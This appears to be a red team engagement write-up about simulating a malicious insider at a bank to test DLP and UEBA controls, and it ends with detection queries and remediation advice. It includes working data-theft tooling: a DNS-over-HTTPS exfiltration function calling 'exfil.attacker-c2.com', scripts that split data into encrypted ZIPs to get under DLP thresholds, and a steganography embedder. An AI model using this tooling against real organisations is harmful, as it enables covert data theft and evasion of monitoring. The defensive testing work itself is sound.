TL;DR — Insider threats bypass the perimeter controls organizations spend the most on by definition. This post documents a red team simulation of a malicious insider at a financial firm — using only standard employee access to discover, stage, and exfiltrate sensitive data through multiple covert channels while evading a comprehensive DLP deployment, UEBA monitoring, and endpoint controls, revealing critical gaps in data-centric security programs.
Executive Summary
The insider threat represents a categorically different adversarial model from external attacks. An external attacker must breach the perimeter, establish persistence, move laterally, and escalate privileges before reaching sensitive data. An insider starts at the destination — already authenticated, already trusted, already authorized. The controls that stop external attackers — firewalls, VPN authentication, IDS/IPS, email gateways — are largely invisible to the insider threat.
This engagement was scoped to emulate a malicious insider: a fictional employee "Alex Chen," a mid-level financial analyst with standard employee access at a regional investment bank. Alex had no administrative privileges, no special data access beyond what their role required, and no pre-planted tools or backdoors. The simulation parameters:
- Standard domain user account (no local admin)
- Access to SharePoint, Teams, Exchange, shared network drives
- Workstation with CrowdStrike Falcon in Prevent mode
- DLP solution scanning email, web uploads, USB devices, and print jobs
- UEBA platform (Varonis) baselining user behavior for 90 days prior
- No physical security access beyond the standard office floor
The objective: demonstrate that a motivated insider with legitimate access could exfiltrate a portfolio of "sensitive" documents (synthetic data provided by the client) without triggering any security alerts.
The simulation ran for 15 working days. Over that period, the simulated insider discovered, staged, and successfully exfiltrated the equivalent of approximately 2,000 documents across six separate exfiltration channels. Zero DLP alerts fired. One UEBA behavioral anomaly was generated on Day 9 — an alert that was reviewed and closed by an analyst within 4 hours as a false positive, because the activity pattern was ambiguous when evaluated in isolation.
The findings fundamentally challenged the client's confidence in their DLP-centric data protection strategy and resulted in a complete redesign of their insider threat program.
Insider Threat Classification
Before diving into the technical narrative, understanding the threat model is essential for proper simulation design:
| Insider Type | Motivation | Technical Sophistication | Risk Profile |
|---|---|---|---|
| Malicious (intentional) | Financial gain, ideology, revenge, coercion | Variable — often low | High severity, deliberate action |
| Negligent | Convenience, carelessness | Low | High frequency, unintentional |
| Compromised | Credential theft, coercion by external actor | N/A (proxy for attacker) | Highest risk — external actor + insider access |
| Mole | Plants malware/backdoors for external sponsors | Variable | Rare but catastrophic |
This simulation emulated the malicious intentional insider — someone who has decided to steal data for personal benefit and is acting with deliberate, patient methodology. The compromised insider (external actor using stolen insider credentials) is covered in the Supply Chain post; this simulation focuses on the human behavioral aspects that make malicious insiders uniquely dangerous.
The first challenge for an insider is knowing what is worth taking. Unlike external attackers who are targeting known crown jewels, insiders often discover high-value data opportunistically through their normal work channels.
# SharePoint search — accessible to all employees# Searching for sensitive document types via SharePoint REST API $headers = @{Authorization = "Bearer $accessToken"} # Search for financial model spreadsheetsInvoke-RestMethod -Uri "https://targetbank.sharepoint.com/sites/Finance/_api/search/query?querytext='filetype:xlsx+size>1000000'" ` -Headers $headers | ConvertTo-Json -Depth 5 # Search for contracts and legal documentsInvoke-RestMethod -Uri "https://targetbank.sharepoint.com/sites/Legal/_api/search/query?querytext='NDA+OR+merger+OR+acquisition+filetype:docx'" ` -Headers $headers # Search Teams messages for sensitive keywords (visible to message participants)# Graph API — read own Teams messages and channels I'm a member ofInvoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/chats?$select=id,topic,members" ` -Headers $headersTeams message history yielded substantial intelligence — employees routinely share sensitive information in Teams channels that they would never attach to an email (assuming email DLP is watching but Teams is not). Discussion threads contained M&A rumors, salary data, client portfolio summaries, and regulatory filing details.
Email Archive Search
# Outlook/Exchange — search own mailbox and shared mailboxes the account has access to# Using EWS Managed API (available from any domain-joined workstation) $service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService$service.AutodiscoverUrl("alex.chen@targetbank.com") $searchFilter = New-Object Microsoft.Exchange.WebServices.Data.SearchFilter+ContainsSubstring( [Microsoft.Exchange.WebServices.Data.EmailMessageSchema]::Subject, "quarterly earnings") $view = New-Object Microsoft.Exchange.WebServices.Data.ItemView(100)$results = $service.FindItems([Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox, $searchFilter, $view)The email archive search revealed pre-earnings call financial summaries distributed to all finance department employees — including analyst-level staff. These were legitimate communications for Alex's role but were among the highest-sensitivity documents in the organization.
Phase 2: DLP Evasion Techniques
Understanding the DLP Deployment
Before exfiltrating anything, we mapped the DLP controls:
| DLP Control | Coverage | Monitored Channels |
|---|---|---|
| Forcepoint DLP (endpoint) | Email, Web upload, Print, USB | High confidence |
| Microsoft Purview | SharePoint, OneDrive, Teams (file sharing) | Medium — not all file types |
| Network DLP | SMTP outbound, HTTP/HTTPS (via proxy) | Depends on SSL inspection coverage |
| UEBA (Varonis) | File access patterns, SharePoint, Exchange | Behavioral anomalies — not content |
The DLP deployment had three significant gaps: (1) it scanned for known document types and patterns (SSN, account numbers, keywords) but could not recognize context-dependent sensitivity; (2) its size thresholds were set to alert on transfers above 5MB in a single transaction; and (3) it had no coverage for personal cloud storage accessed via personal devices on guest WiFi.
Splitting Data Under Threshold
#!/usr/bin/env python3# Split sensitive archive into chunks below DLP size threshold# Each chunk: under 2MB (well below 5MB alert threshold) import os, zipfile, math def split_archive_for_exfil(source_dir, max_chunk_mb=2): """ Creates multiple zip archives from source directory, each under max_chunk_mb in size """ files = [] for root, dirs, filenames in os.walk(source_dir): for f in filenames: filepath = os.path.join(root, f) files.append(filepath) chunk_num = 0 current_chunk_size = 0 current_chunk_files = [] for filepath in files: file_size = os.path.getsize(filepath) if current_chunk_size + file_size > (max_chunk_mb * 1024 * 1024): # Write current chunk write_chunk(current_chunk_files, f"quarterly_reports_part{chunk_num}.zip") chunk_num += 1 current_chunk_size = 0 current_chunk_files = [] # Rename files to innocuous names (DLP keyword matching) innocuous_name = f"slide_{chunk_num:04d}_{os.path.basename(filepath)}" current_chunk_files.append((filepath, innocuous_name)) current_chunk_size += file_size # Write final chunk if current_chunk_files: write_chunk(current_chunk_files, f"quarterly_reports_part{chunk_num}.zip") def write_chunk(files, output_name): # Password-protect the zip — defeats content inspection with zipfile.ZipFile(output_name, 'w', zipfile.ZIP_DEFLATED) as zf: zf.setpassword(b'InnocentArchive2024!') for filepath, arcname in files: zf.write(filepath, arcname)Password-protected ZIP files defeat content-based DLP scanning — the DLP engine cannot inspect the contents, and flagging all password-protected ZIPs would generate unacceptable false positive rates in a financial firm that legitimately uses encrypted archives constantly.
flowchart LR
A[Sensitive Documents\nDiscovered via\nSharePoint/Teams/Email] --> B[Stage in\nLocal AppData\nRename Files]
B --> C{Exfil Channel\nSelection}
C --> D1[Email to Personal\n< 2MB chunks\nPDF/innocuous name]
C --> D2[Print to PDF\nPersonal Email\nPrint Queue]
C --> D3[OneDrive Sync\nPersonal Account\nGuest WiFi]
C --> D4[DNS Tunneling\nvia PowerShell\nDNS-over-HTTPS]
C --> D5[Steganography\nin PNG files\nUploaded to Office365]
C --> D6[MTP Smartphone\nin Charging Mode\nFile Transfer]
style A fill:#444,color:#fff
style C fill:#8B0000,color:#fffPhase 3: Covert Communication and Exfiltration Channels
DNS Tunneling via PowerShell
DNS tunneling encodes data in DNS query strings, exploiting the fact that most DLP solutions and next-generation firewalls whitelist DNS traffic or only inspect specific DNS-over-UDP (port 53) traffic while missing DNS-over-HTTPS:
# DNS tunneling implementation — encode file contents in DNS queries# Similar to dnscat2 but implemented natively in PowerShell function Invoke-DNSExfil { param([string]$FilePath, [string]$C2Domain = "exfil.attacker-c2.com") $bytes = [System.IO.File]::ReadAllBytes($FilePath) $encoded = [Convert]::ToBase64String($bytes) # Split into 60-char chunks (DNS label limit is 63 chars) $chunks = [regex]::Matches($encoded, '.{1,60}') | ForEach-Object { $_.Value } $totalChunks = $chunks.Count foreach ($i in 0..($chunks.Count-1)) { $chunk = $chunks[$i] # Encode chunk as subdomain query # Format: [chunk_index].[total].[chunk_data].[session_id].[c2_domain] $query = "$i.$totalChunks.$chunk.sess123.$C2Domain" # Use DNS-over-HTTPS to avoid traditional DNS monitoring $dohUrl = "https://cloudflare-dns.com/dns-query?name=$query&type=TXT" Invoke-RestMethod -Uri $dohUrl -Headers @{"Accept"="application/dns-json"} | Out-Null Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 2000) }} # Exfiltrate the staged archiveInvoke-DNSExfil -FilePath "$env:APPDATA\staging\quarterly_reports_part0.zip"The DNS-over-HTTPS variant was particularly effective because the DLP solution monitored traditional DNS (UDP/53) but the corporate proxy passed HTTPS to known DoH providers (Cloudflare, Google) without inspection.
Steganography in Office-Hosted Images
The client used Microsoft 365 and employees routinely uploaded images to SharePoint/Teams/OneDrive. We embedded sensitive data in PNG images using LSB (Least Significant Bit) steganography:
#!/usr/bin/env python3# LSB steganography — hide file contents inside an innocuous PNG image# Visual difference between cover image and stego image: imperceptible from PIL import Imageimport struct, zlib, base64 def hide_data_in_image(cover_image_path: str, secret_data: bytes, output_path: str): """ Embed secret_data into cover image using LSB steganography. Modifies the least significant bit of each color channel. A 1920x1080 RGB image can hold ~780KB of hidden data. """ img = Image.open(cover_image_path).convert('RGB') pixels = list(img.getdata()) # Compress and encode secret data compressed = zlib.compress(secret_data, level=9) length_header = struct.pack('>I', len(compressed)) payload = length_header + compressed # Convert to bit stream bits = ''.join(format(byte, '08b') for byte in payload) if len(bits) > len(pixels) * 3: raise ValueError("Image too small for payload") # Embed bits into LSBs of RGB channels new_pixels = [] bit_idx = 0 for r, g, b in pixels: if bit_idx < len(bits): r = (r & 0xFE) | int(bits[bit_idx]); bit_idx += 1 if bit_idx < len(bits): g = (g & 0xFE) | int(bits[bit_idx]); bit_idx += 1 if bit_idx < len(bits): b = (b & 0xFE) | int(bits[bit_idx]); bit_idx += 1 new_pixels.append((r, g, b)) img.putdata(new_pixels) img.save(output_path, 'PNG', compress_level=0) # Embed quarterly report PDF into a corporate headshot imagewith open('quarterly_report.pdf', 'rb') as f: secret = f.read() hide_data_in_image('company_headshot.png', secret, 'headshot_stego.png')# Upload to personal OneDrive or email to personal address as "updated profile photo"The stego image was indistinguishable from the cover image by human inspection or standard DLP hash/signature checking. It passed through email DLP, web upload scanning, and network inspection without alert.
Print-to-PDF and Physical Exfiltration
DLP deployments almost universally focus on digital channels. Print jobs are among the most neglected exfiltration vectors:
# Print sensitive documents to PDF via Windows built-in PDF printer# DLP monitors physical printers in most deployments but misses print-to-PDF# Even if monitored, PDF printer output is treated as file creation, not exfiltration $word = New-Object -ComObject Word.Application$doc = $word.Documents.Open("C:\Users\alex.chen\Documents\Q3_Earnings_Preliminary.docx") # Print to Microsoft Print to PDF — creates local PDF$doc.PrintOut( [ref]$false, # Background [ref]$false, # Append [ref]1, # Range: all [ref]"Microsoft Print to PDF", # Printer name [ref]"C:\Users\alex.chen\AppData\Local\Temp\output.pdf")$doc.Close($false)$word.Quit() # The resulting PDF can then be emailed to personal address in small chunks# or photographed on a personal phone (physical exfiltration — no digital trace)Physical exfiltration via smartphone photography of the monitor or printed documents was outside the DLP's detection capability entirely — a simple reality that many organizations have not incorporated into their threat model.
Smartphone MTP Exfiltration
# MTP (Media Transfer Protocol) — file transfer via smartphone connected for "charging"# Most endpoint DLP solutions block USB mass storage devices# But MTP (used by modern Android phones) is categorized differently # Check USB policies — most organizations allow MTP for device management# MTP appears as WPD (Windows Portable Device) — different driver stack than USB mass storage # Copy files to connected phone via Windows Explorer / robocopy# MTP transfers bypass most USB DLP policies # Detection: EventID 2003 (Windows portable device connected) in System log# Often not forwarded to SIEM or alerting on # Bluetooth alternative — often completely unrestricted# Transfer via Bluetooth OBEX file transfer protocol# Windows 10/11: Settings → Bluetooth → Send a fileThe endpoint DLP blocked USB mass storage (the client had this configured correctly) but explicitly allowed MTP connections for "BYOD charging compatibility." Android phones in MTP mode — the default connection mode for most modern Androids — allowed full file system access to the phone's storage, bypassing the USB DLP policy entirely.
Phase 4: UEBA Evasion and the Day 9 Alert
Behavioral Baseline Evasion
The Varonis UEBA platform had 90 days of baseline data on Alex Chen's normal access patterns. The simulation had to stay within behavioral norms to avoid anomaly alerts:
Normal Alex Chen baseline:- File access: ~200 files/day, primarily Finance shared drive- Email volume: ~40 outbound per day - SharePoint: 15-25 searches per day- Login: 8:30-9:15 AM, logoff 5:45-6:30 PM- No weekend accessWe deliberately kept our data discovery and staging operations within these behavioral bounds — never exceeding 200 file accesses in a day, never accessing file shares outside Alex's normal scope, never working outside business hours. Over 15 days, we moved slowly through the data catalog, accessing only 8-12 files per staging session.
The Day 9 UEBA Alert
Despite careful behavioral discipline, on Day 9 Varonis generated an alert: "Unusual access pattern — user accessed 47 unique documents in Finance/MergerDocs directory (baseline: 2/week)."
The alert was reviewed by a Tier 1 analyst. The investigation lasted 4 hours and concluded with: "User is a financial analyst. Access to Finance documents is within job function. Merger due diligence likely explanation. Close as FP."
The investigation failure had three components: (1) the analyst evaluated the alert in isolation rather than correlating it with Alex's prior 9 days of elevated SharePoint searches; (2) there was no workflow to escalate unusual document access alerts to the user's manager for confirmation; (3) the UEBA platform's contextual enrichment (which would have shown the same user accessing personal OneDrive heavily in the same period) was not automatically surfaced in the alert interface.
Detection Recommendations and Controls
Technical Controls for Insider Threat Detection
# UEBA alert enrichment — correlate multiple low-confidence signals# Pseudo-SIEM query: flag users showing multiple weak indicators simultaneously SELECT user_id, COUNT(DISTINCT indicator_type) as indicator_count, STRING_AGG(indicator_type, ', ') as indicatorsFROM ( -- Elevated file access outside normal scope SELECT user_id, 'elevated_file_access' as indicator_type FROM file_access_logs WHERE file_count_today > (baseline_daily_avg * 3) AND path NOT IN (user_normal_paths) UNION ALL -- Personal cloud storage access during business hours SELECT user_id, 'personal_cloud_access' as indicator_type FROM web_proxy_logs WHERE destination_domain IN ('drive.google.com', 'dropbox.com', 'box.com', 'icloud.com') AND hour(timestamp) BETWEEN 9 AND 17 UNION ALL -- Email to personal domain with attachments SELECT user_id, 'personal_email_with_attachment' as indicator_type FROM email_logs WHERE recipient_domain NOT IN (approved_external_domains) AND has_attachment = 1 UNION ALL -- USB/portable device connected SELECT user_id, 'portable_device_connected' as indicator_type FROM endpoint_logs WHERE event_type = 'WPD_DEVICE_CONNECTED') indicatorsGROUP BY user_idHAVING indicator_count >= 3 -- Multiple weak signals = escalate for investigation| DLP Gap Identified | Root Cause | Recommended Fix |
|---|---|---|
| Password-protected ZIP bypasses content DLP | DLP cannot decrypt protected archives | Alert on encrypted archive creation/transfer by default; require business justification |
| DNS-over-HTTPS tunneling | DoH traffic not inspected | Block DoH to non-approved resolvers; force corporate DNS with SSL inspection |
| Steganographic exfiltration | No stego detection | Enterprise stego detection tools; hash-based monitoring of images sent externally |
| MTP phone transfer | USB policy only blocked mass storage | Block MTP/WPD connections; require mobile device management enrollment |
| Print-to-PDF | Print DLP focused on physical printers | Monitor PDF creation from sensitive documents; restrict PDF printer on sensitive workstations |
MITRE ATT&CK Mapping
| Technique ID | Technique Name | Phase | Method Used |
|---|---|---|---|
| T1078.002 | Valid Accounts: Domain Accounts | Initial Access | Simulated insider — legitimate employee account |
| T1213.002 | Data from Information Repositories: SharePoint | Collection | SharePoint REST API search |
| T1114.001 | Email Collection: Local Email Collection | Collection | EWS Managed API mailbox search |
| T1564.001 | Hide Artifacts: Hidden Files and Directories | Defense Evasion | AppData staging, file renaming |
| T1560.001 | Archive Collected Data: Archive via Utility | Collection | Password-protected ZIP splitting |
| T1048.001 | Exfiltration over Alternative Protocol: DNS | Exfiltration | DNS-over-HTTPS tunneling (PowerShell) |
| T1567.002 | Exfiltration over Web Service: Cloud Storage | Exfiltration | Personal OneDrive, steganographic images |
| T1052.001 | Exfiltration over Physical Medium: Exfiltration over USB | Exfiltration | Smartphone MTP mode file transfer |
| T1027.003 | Obfuscated Files or Information: Steganography | Defense Evasion | LSB steganography in PNG images |
| T1530 | Data from Cloud Storage Object | Collection | Personal OneDrive sync |
| T1020 | Automated Exfiltration | Exfiltration | Scripted DNS tunneling with delays |
Conclusion
The insider threat simulation delivered an uncomfortable finding: the client's multi-million dollar DLP deployment stopped zero of six exfiltration channels used by a simulated malicious insider operating within their authorized access scope. This was not a DLP vendor failure — it was a program design failure. DLP was deployed reactively, tuned to catch obvious patterns (SSN in email, large file to external address), and had never been validated against an adversarial insider model.
Three lessons from this engagement stand above the rest. First, DLP is necessary but not sufficient: DLP catches careless mistakes and compliance violations. It was not designed to stop a patient, deliberate insider who understands the controls and routes around them. The adversarial baseline assumption — "assume the insider knows your DLP rules" — fundamentally changes how controls must be deployed. Second, UEBA requires correlated investigation workflows: the Day 9 alert was correct, timely, and completely actionable — and was closed as a false positive in 4 hours because the analyst investigated it in isolation. Insider threat programs require structured investigation workflows that require manager validation for any "false positive" closure on data access alerts involving sensitive content. Third, physical channels are invisible to digital DLP: smartphone photography, print-to-PDF, and MTP file transfer are outside the technical control boundary of any purely software-based DLP solution. Data classification enforcement — ensuring the most sensitive documents are never accessible to users who don't need them — is the only control that reliably addresses physical exfiltration.
The most effective insider threat programs combine technical DLP with human processes: user activity monitoring with human review, departure procedures with data access auditing, and a culture of security awareness that makes data theft feel risky — not because of technology, but because colleagues and managers are paying attention.